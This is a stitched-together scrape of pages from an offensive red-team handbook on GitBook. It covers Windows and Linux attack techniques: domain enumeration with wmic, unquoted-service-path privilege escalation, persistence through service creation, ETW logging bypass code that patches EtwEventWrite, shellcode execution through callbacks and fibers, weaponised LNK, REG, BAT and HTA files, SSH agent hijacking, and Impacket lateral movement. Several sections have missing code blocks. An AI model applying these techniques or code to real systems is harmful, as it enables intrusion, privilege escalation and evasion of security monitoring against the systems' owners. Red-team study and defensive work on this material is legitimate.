"DOMAIN = ''" Copy Get-CimInstance -ClassName Win32_Group -Filter "Domain = ' AND Name=''" Copy wmic NTDOMAIN GET DomainControllerAddress,DomainName,Roles /VALUE Copy wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname=''" Get ds_member /Value wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname --- # Unquoted Service Paths | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/unquoted-service-paths.md) . If a binary path of a service has a whitespace, no quotes, and the right ACLs, we may be able to escalate our privileges. For more info: [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afill%3A304%3A304%2F10fd5c419ac61637245384e7099e131627900034828f4f386bdaa47a74eae156&width=20&dpr=3&quality=100&sign=ef5324ba&sv=2)Windows Privilege Escalation — Part 1 (Unquoted Service Path)Medium](https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae) We can query for it with: If it the binary path has a whitespace and no quotes, we will investigate the folder that holds the name that has the whitespace. For example if it was C:\\Program Files\\software\\soft one , We would check the ACLs for c:\\ and C:\\Program Files\\software\\. If we have write permissions to the file, we can elevate our privileges by hijacking the executable in the folder. For example, we would try to move an executable called "soft" to C:\\Program Files\\software\\ so the service would run our executable with elevated privileges. To check if we have access: If your group(which is probably Users) have W privileges to the folder, it means it is vulnerable and you can move your executable to the folder. You can do this with this command: [PreviousInsecure Binary Path](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/insecure-permissions/insecure-binary-path) [NextEnumeration](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/enumeration) Last updated 5 years ago Copy wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ Copy icacls c:\folder Copy copy soft.exe C:\Program Files\software\soft.exe --- # Linux | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux.md) . [SSH Hijacking](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux/ssh-hijacking) [RDP](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux/rdp) [Impacket](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux/impacket) [PreviousLateral Movement](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement) [NextSSH Hijacking](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux/ssh-hijacking) Last updated 5 years ago --- # Benefits of Using APIs | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/benefits-of-using-apis.md) . WinApis are generally better than using commands to execute code or to gather info. The Pros of using APIs are: 1. Bypass command line logging(Defender may look specifically at LOLBins) 2. Confuse our activity with regular applications 3. May have additional functionality or for compatibility reasons Here are some code snippets of using APIs for persistence: ### Service Creation[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/benefits-of-using-apis#service-creation) Copy SC_HANDLE hManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS ); SC_HANDLE service = CreateService( hManager, "ServiceName", "Display Name", GENERIC_READ | GENERIC_EXECUTE, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, "C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, NULL, NULL ); [PreviousPivoting](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/pivoting) [NextThread-less Payload Execution](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/thread-less-payload-execution) Last updated 5 years ago --- # ETW Bypasses | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/etw-bypasses.md) . ETW is used by windows to trace and log system events. Attackers can clear these logs but this itself creates a new event log. The CLR sends ETW events to any ETW consumers, which provides means to detect suspicious .NET use. Here are some ways to tamper and disable ETW so that event logs don't popup. (note that the commands below can be replicated by just modifying the registry) Autologger Provider Removal[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/etw-bypasses#autologger-provider-removal) -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- This removes a provider entry from autologger, this will cause events to stop flowing to their trace session. To list all providers, we can issue this command: Copy logman query providers To remove a provider: Copy Remove-EtwTraceProvider -AutologgerName EventLog-Application -Guid '{GUID}' This will end up deleting the registry key: Copy HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-Application\{GUID} Provider Enable Property Modification[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/etw-bypasses#provider-enable-property-modification) ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- This alerts the enable keyword of an autologger session. By default ETW provider entries in the EventLogApplication autoloffer sessions have a value of 0x41, this is equals to EVENT\_ENABLE\_PROPERTY\_SID and EVENT\_ENABLE\_PROPERTY\_ENABLE\_KEYWORD\_0. Events generated by a provider are logged even if the keyword value is set to 0. If we replaces the property EVENT\_ENABLE\_PROPERTY\_ENABLE\_KEYWORD\_0 for EVENT\_ENABLE\_PROPERTY\_IGNORE\_KEYWORD\_0, it will result in events where the keyword is 0 not logged. PowerShell events supplies a 0 keyword value and as a result they will not appear in the PowerShell event log. Copy Set-EtwTraceProvider -Guid '{GUID}' -AutologgerName 'EventLog-Application' -Property 0x11 Removing ETW Providers From a Trace Session[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/etw-bypasses#removing-etw-providers-from-a-trace-session) ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- We can just simply remove an ETW provider from a trace session which will not log until the next reboot or if the provider is restored. EtwEventWrite Patching[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/etw-bypasses#etweventwrite-patching) ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- EtwEventWrite function is responsible of writing events to a session. This can be patched to evade ETW patches due to the fact that this is userland and is in a process that an attacker can control. We can also do this in c++: [PreviousDisabling/Patching Telemetry](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry) [NextAMSI Bypasses](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/amsi-bypasses) Last updated 5 years ago * [Autologger Provider Removal](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/etw-bypasses#autologger-provider-removal) * [Provider Enable Property Modification](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/etw-bypasses#provider-enable-property-modification) * [Removing ETW Providers From a Trace Session](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/etw-bypasses#removing-etw-providers-from-a-trace-session) * [EtwEventWrite Patching](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/disabling-patching-telemetry/etw-bypasses#etweventwrite-patching) Copy logman update trace EventLog-Application --p MicrosoftWindows-PowerShell -ets Copy internal static void PatchEtwEventWrite() { bool result; var hook = new byte[] { 0xc2, 0x14, 0x00, 0x00 }; var address = GetProcAddress(LoadLibrary("ntdll.dll"), "EtwEventWrite"); result = VirtualProtect(address, (UIntPtr)hook.Length, (uint)MemoryProtectionConsts.EXECUTE_READWRITE, out uint oldProtect); Marshal.Copy(hook, 0, address, hook.Length); result = VirtualProtect(address, (UIntPtr)hook.Length, oldProtect, out uint blackhole); } Copy DWORD oldprotect = 0; void * addr = GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite"); VirtualProtect_p(addr, 4096, PAGE_EXECUTE_READWRITE, &oldprotect); #ifdef _WIN64 memcpy(addr, "\x48\x33\xc0\xc3", 4); // xor rax, rax; ret #else memcpy(addr, "\x33\xc0\xc2\x14\x00", 5); // xor eax, eax; ret 14 #endif VirtualProtect_p(addr, 4096, oldprotect, &oldprotect); --- # Unorganized Notes | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals/unorganized-notes.md) . Check out this blog post for a more organized set if notes [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fmiro.medium.com%2Fv2%2Fresize%3Afill%3A304%3A304%2F10fd5c419ac61637245384e7099e131627900034828f4f386bdaa47a74eae156&width=20&dpr=3&quality=100&sign=ef5324ba&sv=2)Implant Development and Defense Evasion Part 1: File BasicsMedium](https://lsteelo.medium.com/implant-development-and-defense-evasion-part-1-file-basics-532eb258b6bf) Processes[](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals/unorganized-notes#processes) ----------------------------------------------------------------------------------------------------------------- A running instance of a program, processes don't run they manage, threads do the running. A process contains: 1. executable program, contains code and data 2. private virtual address space, used for allocating memory 3. a primary token which contains security context, this is used by threads 4. private handle table to executive objects, like events, semaphores and files 5. threads for execution * A process is identified by its PID * Note that the executable program part is not unique part of the program like the PID .NET[](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals/unorganized-notes#net) ------------------------------------------------------------------------------------------------------ has 2 major things * CLR: run time engine for .NET which has a JIT compiler that translates CIL into hardware CPU machine language, garbage collector, type verification, code access security, and more. It’s implemented as a COM in-process server (DLL) and uses various things from win api * FCL: large collection of types Virtual Memory[](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals/unorganized-notes#virtual-memory) --------------------------------------------------------------------------------------------------------------------------- * every process has its own virtual, private and linear address space. * this address space starts out around empty since ntdll and executable image are the first to be mapped followed by more subsystem dlls * address space from main is private, other processes cannot access it directly * 32 bit address space is 32 gb, we can specify to use more address spaces if we want * 64 bit address space is 128 TB, for 32 bit on 64 bit the address space is 2gb > Each process has its own address space, which makes any process address relative, rather thanabsolute. For example, when trying to determine what lies in address 0x20000, the address itselfis not enough; the process to which this address relates to must be specified. * memory itself is virtual, there is an indirect relationship between an address range and exact location in RAM * if memory is not mapped to RAM, CPU will raise a page fault exception that will cause the memory manager’s page fault handler to fetch the data from the appropriate file, copy it to RAM, make the required changes in the page table entries that map the buffer, and instruct the CPU to try again. * unit of memory management is called page * size of page is based on CPU type page states can be in three states * free: page is not allocated in anyway, accessing this will result in violation * committed: reverse of free, * reserved: the page is not committed, but the address range is reserved for possible future commitment. From the CPU’s perspective, it’s the same as Free – any access attempt raises an access violation exception, but the virtualalloc or ntallocatevirtualmemory that does not specify an address would not allocate in the reserved region System Memory[](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals/unorganized-notes#system-memory) ------------------------------------------------------------------------------------------------------------------------- * user mode is lower part of address space, kernel mode is higher part of address space * 32 bit the operating system resides in the upper 2 GB of virtual address space, from address0x8000000to0xFFFFFFFFF * On 64-bit systems on Windows 8.1, Server 2012 R2 and later, the OS takes the upper 128 TB ofvirtual address space Threads[](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals/unorganized-notes#threads) ------------------------------------------------------------------------------------------------------------- A thread Contains: 1. Current access mode, either user or kernel.(contents of a set of CPU regisers) 2. thread id 3. Execution context, including processor registers and execution state. 4. One or two stacks, used for local variable allocations and call management. 5. Thread Local Storage array, which provides a way to store thread-private data with uniform access semantics. 6. Base priority and a current (dynamic) priority. 7. Processor affinity, indicating on which processors the thread is allowed to run on The most common states a thread can be in are: 1. running 2. ready 3. waiting threads information, registers, private storage are called the thread context Syscalls[](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals/unorganized-notes#syscalls) --------------------------------------------------------------------------------------------------------------- * translate to user mode calls to system mode calls. * a system call number is put into eax, and then the syscall or sysenter thing is called which transitions into kernel mode * the SSDT uses the value in EAX, and jumps into the syscall itself System Architecture[](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals/unorganized-notes#system-architecture) ------------------------------------------------------------------------------------------------------------------------------------- ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mg73A-puzQ0tzzh53WU%252F-Mg76UO-NyDsi0JWRQLM%252Fimage.png%3Falt%3Dmedia%26token%3D2bd6a992-1ef6-4498-a5f1-8304632843de&width=768&dpr=3&quality=100&sign=49acdf70&sv=2) * subsystem dlls: dlls that implement apis of subsystem, this is a certain view of capabilities exposed by the kernel. Ex. kernel32.dll, user32.dll, gdi32.dll etc. * NTDLL.DLL: lower layer of code in user mode, makes transition from user mode into kernel mode and implements the heap manager, image loader and some part of the user mode thread pool. * service processes: normal windows processes that communicate with the SCM, and allow some control over their life time. the SCM can stop, pause, resume etc. to services * executive: upper layer of Ntoskrnl.exe(the kernel), it hosts most of the code in kernel mode, and includes the various managers. * kernel: fundamental kernel mode os things * win32k.sys: kernel mode component of the windows subsystem, handles the UI and GDI apis. * HAL: closes to the CPU, allows device drivers to user APIs that do not quire detail and specific knowledge of things like DMA controller, this layer is mostly useful for device drivers written to handle hardware devices. * (TODO) Handles and Objects[](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals/unorganized-notes#handles-and-objects) ------------------------------------------------------------------------------------------------------------------------------------- * kernel exposes various types of objects for use by user mode processes, the kernel itself and kernel mode drivers, instance of these are data structures created by object manager * objects are reference counted * object can reside in system space, they cannot be access directly in user mode, the must use handles * handles are index to a entry in a table maintained on a process by process basis that points to a kernel object in system space * the kernel can use a direct pointer or handle, the choice is based on the API you want to call, Kernel code can get a pointer to an object given a valid handle using the ObReferenceObjectByHandle function. * handles are multiples of 4, 0 is not valid handle * each object points to an object type, which holds info on the type itself, these are exported as kernel global variables [PreviousWindows Internals](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals) Last updated 5 years ago * [Processes](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals/unorganized-notes#processes) * [.NET](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals/unorganized-notes#net) * [Virtual Memory](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals/unorganized-notes#virtual-memory) * [System Memory](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals/unorganized-notes#system-memory) * [Threads](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals/unorganized-notes#threads) * [Syscalls](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals/unorganized-notes#syscalls) * [System Architecture](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals/unorganized-notes#system-architecture) * [Handles and Objects](https://kwcsec.gitbook.io/the-red-team-handbook/other/windows-internals/unorganized-notes#handles-and-objects) --- # LNK | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/lnk.md) . LNK is the file extension used for shortcuts in Windows. These shortcuts can run an executable with arbitrary parameters. You can use the GUI to change the icon and parameters of a LNK file, or you could do it programmatically like so: Copy $WshShell = New-Object -comObject WScript.Shell $Shortcut = $WshShell.CreateShortcut("manual.pdf.lnk") $Shortcut.TargetPath = "%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe" $Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21" $Shortcut.Arguments = '-args ' $Shortcut.WindowStyle = 7 # 7 = Minimized window # 3 = Maximized window # 1 = Normal window $Shortcut.HotKey = "CTRL+O" $Shortcut.Save() [PreviousCHM](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/chm) [NextUsing LNK to Automatically Download Payloads](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/lnk/using-lnk-to-automatically-download-payloads) Last updated 5 years ago --- # MSI Files | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/msi-files.md) . (TODO) [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fs0.wp.com%2Fi%2Ffavicon.ico%3Fm%3D1713425267i&width=20&dpr=3&quality=100&sign=89403e7e&sv=2)Phishing with Smart-ish MSIsijustwannaredteam](https://ijustwannared.team/2017/12/28/phishing-with-smart-ish-msis/) [PreviousBAT](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/bat) [NextIQY](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/iqy) Last updated 5 years ago --- # REG | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/reg.md) . Copy Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] "calcpoc"="C:\\Windows\\System32\\mshta.exe \"javascript:(new ActiveXObject(\"WScript.Shell\")).Run(\"calc.exe\")\"" [PreviousRTF](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/rtf) [NextBAT](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/bat) Last updated 5 years ago --- # IQY | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/iqy.md) . IQY files are related to Microsoft Excel, they allow you to query data from a specific internet site and retrieve the information directly into an excel worksheet. We can leverage these IQY files to retrieve Net-NTLM hashes. ### TODO[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/iqy#todo) [Abusing Web Query (.iqy) files for effective phishingwww.labofapenetrationtester.com](http://www.labofapenetrationtester.com/2015/08/abusing-web-query-iqy-files.html) [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fcdn.vertex42.com%2FImages%2FVertex42Icon-512x512.png&width=20&dpr=3&quality=100&sign=9fe300b0&sv=2)MS Excel Web Query Secrets Revealedwww.vertex42.com](https://www.vertex42.com/News/excel-web-query.html) [PreviousMSI Files](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/msi-files) [NextCHM](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/chm) Last updated 5 years ago --- # Impacket | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux/impacket.md) . > Impacket is a collection of Python classes for working with network protocols. Impacket is focused on providing low-level programmatic access to the packets and for some protocols (e.g. SMB1-3 and MSRPC) the protocol implementation itself. Packets can be constructed from scratch, as well as parsed from raw data, and the object oriented API makes it simple to work with deep hierarchies of protocols. The library provides a set of tools as examples of what can be done within the context of this library. [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=a76f452&sv=2)GitHub - fortra/impacket: Impacket is a collection of Python classes for working with network protocols.GitHub](https://github.com/SecureAuthCorp/impacket) Here are some examples of impacket scripts you can use for lateral movment: Copy python psexec.py DOMAIN/username:password@IP python smbexec.py DOMAIN/username:password@IP python wmiexec.py DOMAIN/username:password@IP ... [PreviousRDP](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux/rdp) [NextNo Admin?](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/no-admin) Last updated 5 years ago --- # SSH Hijacking | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux/ssh-hijacking.md) . If we are root on a system, we can compromise an active SSH session to another machine via public key authentication. We can either compromise the SSH agent or gain access to the SSH agent’s unix domain socket and hijack the connection. ssh-agent creates a unix domain socket, and then listens for connections from the sshd daemon to this socket. Based on the permissions of this socket, any of the authentication keys that are used by the socket can be compromised to any user who can connect to the socket. To perform this: First determine the SSH process ID: Copy ps aux | grep sshd Then find the SSH\_AUTH\_SOCK environment variable for the sshd Copy grep SSH_AUTH_SOCK /proc//environ Then hijack the ssh-agent socket: Copy SSH_AUTH_SOCK=/tmp/ssh-XXXXXXX/agent.XXXX ssh-add –l Finally, we can log into the remote system our victim is logged into: Copy ssh remotesystem -l victim [PreviousLinux](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux) [NextRDP](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux/rdp) Last updated 5 years ago --- # BAT | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/bat.md) . Copy cmd /K powershell.exe -ExecutionPolicy bypass -noprofile ... [PreviousREG](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/reg) [NextMSI Files](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/msi-files) Last updated 5 years ago --- # HTA | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/hta.md) . These stand for HTML applications. These files have access to _VBS, JS, COM and .NET_ which make it a huge target payload for attackers. HTA files can be used to run execution cradles or execute shellcode. Normally, HTA files run under mshta.exe, note that there are ways to dechain process and child relationships. We can change the icon of the HTA file with this command: `copy /b picture.ico+test.hta test_with_icon.hta` Here are some ways you can utilize HTA files Copy Copy [PreviousUsing LNK to Automatically Download Payloads](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/lnk/using-lnk-to-automatically-download-payloads) [NextLateral Movement](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement) Last updated 5 years ago Copy --- # Thread-less Payload Execution | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/thread-less-payload-execution.md) . Avoiding the use of threads will help us minimize our artifacts as EDRs may subscribe to callbacks which can make thread creation visible at a kernel level. For extra stealthiness, we may want to not use threads and find other ways to execute our payload. Function Pointer Execution[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/thread-less-payload-execution#function-pointer-execution) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- This technique will use a function pointer to execute our payload, we will simply create a function pointer assigned to the address of our shellcode, and then proceed to call the function pointer thus calling our shellcode. Copy int (*func)(); func = (int (*)()) (void*)shellcode; (int)(*func)(); This will make our payload run in the process's main thread instead of a new thread being spawned via createthread. ### Callbacks[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/thread-less-payload-execution#callbacks) callbacks are functions that are called through a function pointer. If we pass a function pointer to our shellcode to a function that a requires a callback function as it's parameter, it will then instead execute our shellcode. This can be used to pass our shellcode instead of our function pointer. An example of this is EnumFonts Copy EnumFonts(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char *)shellcode, 0); an extensive list of such functions you can abuse for shellcode execution can be found here: [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=a76f452&sv=2)GitHub - ChaitanyaHaritash/Callback\_Shellcode\_Injection: POCs for Shellcode Injection via CallbacksGitHub](https://github.com/ChaitanyaHaritash/Callback_Shellcode_Injection) Fibers[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/thread-less-payload-execution#fibers) --------------------------------------------------------------------------------------------------------------------------------------- Fibers allow an app to schedule its own thread of execution rather than priority based scheduling. These are basically light weightthreads, and are invisble to the kernel due to the fact that they are implemented in kernel32. To use fibers, we must call ConvertThreadToFiber, which will convert the thread running into a running fiber. We can then make additional fibers with the CreateFiber function. To abuse this for shellcode execution we will: 1. Convert the main thread into a fiber 2. allocate shellcode 3. create a new fiber that points to our shellcode 4. schedule the new fiber that point to our schedule 5. the fiber gets scheduled and our shellcode runs [PreviousBenefits of Using APIs](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/benefits-of-using-apis) [NextDLL Hollowing](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/module-stomping) Last updated 5 years ago * [Function Pointer Execution](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/thread-less-payload-execution#function-pointer-execution) * [Callbacks](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/thread-less-payload-execution#callbacks) * [Fibers](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/thread-less-payload-execution#fibers) Copy void * fMain = ConvertThreadToFiber(NULL); void * lShellcode = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); void * shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)lShellcode, NULL); SwitchToFiber(shellcodeFiber); --- # CHM | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/chm.md) . These are Microsoft's online help format, these consist of HTML pages, indexes and other navigation tools. These files are then compressed in a file format called .CHM, also known as compiled CHM. Numerous amount of CHM file programs exist, for example, you could use Microsoft's HTML Help Workshop. Example: Copy Click Me This is a demo !
[PreviousIQY](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/iqy) [NextLNK](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/lnk) Last updated 5 years ago --- # Pivoting | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/pivoting.md) . This article will go through ways to use a windows machine as a proxy and ways to pivot through the network. But why would we do a thing like this in the first place? Well, the pros are: 1. Bypass command line logging 2. No execution on the host, EDRs don't have telemetry over this 3. We touch less hosts But the cons are: 1. You lose being in context of the windows user due to the fact that you don't have the privilege of windows SSO.(Need credentials) Let's look at some ways technologies we can use to pivot.(C2 Frameworks like metasploit and cobalt strike have multiple guides on how to do so.) Once you are in the network, you can use tools like Impacket and RPCclinet to gain info and move laterally throughout the network. SSHuttle[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/pivoting#sshuttle) ---------------------------------------------------------------------------------------------------------------------- This can create a VPN connection with only VPN access on the host. Note that the only requirement this needs is for python to be installed. The below will forward all traffic. Copy sshuttle -r @ 0.0.0.0/0 Firewalls[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/pivoting#firewalls) ------------------------------------------------------------------------------------------------------------------------ Windows Firewall can to proxy connections similarly to iptables redirectors. Proxychains for Windows[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/pivoting#proxychains-for-windows) ---------------------------------------------------------------------------------------------------------------------------------------------------- To pivot a windows operator machine into the target network, this can be used in conjunction with a socks proxy. Rpivot[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/pivoting#rpivot) ------------------------------------------------------------------------------------------------------------------ This tunnels traffic into internal networks via socks4proxy in python with only the standard library. This supports NTLM proxy authentication with username or NTLM hashes: Server (Attacker box) Client (Compromised box) Through corporate proxy Passing the hash ### [](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/pivoting#undefined) [PreviousCommands to Avoid](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/commands-to-avoid) [NextBenefits of Using APIs](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/minimization/benefits-of-using-apis) Last updated 5 years ago * 